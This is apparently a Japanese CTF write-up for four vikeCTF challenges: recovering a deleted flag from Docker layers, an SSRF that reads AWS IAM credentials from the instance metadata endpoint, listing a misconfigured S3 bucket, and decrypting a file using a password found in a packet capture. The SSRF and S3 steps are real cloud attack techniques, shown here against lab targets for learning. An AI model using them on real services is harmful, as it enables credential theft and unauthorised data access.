- [Cloud] Docker Dad Jokes: Find the Punchline
- [Cloud] Eternal Cloud Conquest
- [Cloud] Super Silly Security
- [misc] Smoke on the Horizon
[Cloud] Docker Dad Jokes: Find the Punchline
dockerのダンプファイルが与えられる。
28d….jsonを見てみると
{ "created": "2023-03-17T09:32:45.482620015Z", "created_by": "RUN /bin/sh -c rm flag.txt # buildkit", "comment": "buildkit.dockerfile.v0" },
のようにflag.txtが消されている。
適当にflagをgrepして探すと見つかる。
$ cd 901606eea2faa73c03fccad4ad1c61a5aafe872d28a27420111eacfc9ae2d5c1 $ cat * | grep -a flag RUN echo "vikeCTF{■■■■■■■■■■■■}" > flag.txt RUN rm flag.txt
[Cloud] Eternal Cloud Conquest
色々試してみるとSSRF脆弱性を発見する。
- 適当にユーザーを作る
/profile
のページのProfile Image URLにサーバーに踏ませたいURLを配置する- 適当なページでコメントを残すと、指定したURLが画像でなくても、Profile Imageがbase64形式で保存され返されてくる
これでAWSのインスタンスメタデータを巡回すると最終的にフラグが見つかる。
http://169.254.169.254/latest/meta-data/ ami-id ami-launch-index ami-manifest-path block-device-mapping/ elastic-inference/ events/ hostname iam/ instance-action instance-id instance-life-cycle instance-type kernel-id local-hostname local-ipv4 mac network/ placement/ product-codes public-hostname public-ipv4 public-keys/ ramdisk-id reservation-id security-groups services/ spot/ tags/ http://169.254.169.254/latest/meta-data/iam/security-credentials/ vikeCTF-metadata-role http://169.254.169.254/latest/meta-data/iam/security-credentials/vikeCTF-metadata-role { "Code": "Success", "LastUpdated": "2023-03-17T16:00:00Z", "Type": "AWS-HMAC", "AccessKeyId": "12345678901", "SecretAccessKey": "v/12345678901", "Token": "vikeCTF{d0nt_f0rg3t_@b0ut_n3tw0rk_@cc355}", "Expiration": "2023-03-19T16:00:00Z" }
[Cloud] Super Silly Security
https://super-silly-security.vikesec.ca/flag.png
にフラグがあるっぽいが403エラー
エラーメッセージとしてS3 ERROR: Not in Authenticated AWS User group
とある。
digコマンドでドメインを見てみると
super-silly-security.vikesec.ca. 0 IN CNAME super-silly-security.vikesec.ca.s3-website-us-west-2.amazonaws.com. super-silly-security.vikesec.ca.s3-website-us-west-2.amazonaws.com. 0 IN CNAME s3-website.us-west-2.amazonaws.com.
super-silly-security.vikesec.ca.s3-website-us-west-2.amazonaws.com
がもともとの名前のようだ。
とりあえず、S3に匿名アクセスできないか試してみる。
適当なAWSユーザーでアクセスキーを発行し、aws configure
で設定する。
リージョンはus-west-2を使う。
これでこのS3にアクセスしてみると匿名アクセスできたので、flag.pngを持ってくるとフラグが書いてある。
$ aws configure AWS Access Key ID [None]: <reducted> AWS Secret Access Key [None]: <reducted> Default region name [None]: us-west-2 Default output format [None]: $ aws s3 ls s3://super-silly-security.vikesec.ca 2023-03-18 08:14:04 24728 flag.png 2023-03-18 08:14:04 1821 index.html 2023-03-18 08:14:04 6489 style.css $ aws s3 cp s3://super-silly-security.vikesec.ca/flag.png flag.png download: s3://super-silly-security.vikesec.ca/flag.png to ./flag.png
[misc] Smoke on the Horizon
プロトコル階層を見てみると、いろいろ記録されている。
- TLS: 何かが暗号化されている
- HTTP: ELF形式の何かがやり取りされている。decriptというファイル
- SMTP: 1通メールがありパスワード
p!ll@ge_🔥_p1und3r
というのが共有されている - FTP: flag.encというファイルがダウンロードされている
decryptを動かすと復号化ソフトのようで、既に手元にある情報を試すとフラグが復号化されてくる。
TLSの情報は使用しない。
$ ./decrypt Usage: ./decrypt input_file password $ ./decrypt flag.enc 'p!ll@ge_🔥_p1und3r' Decryption successful: flag.enc -> flag.enc.dec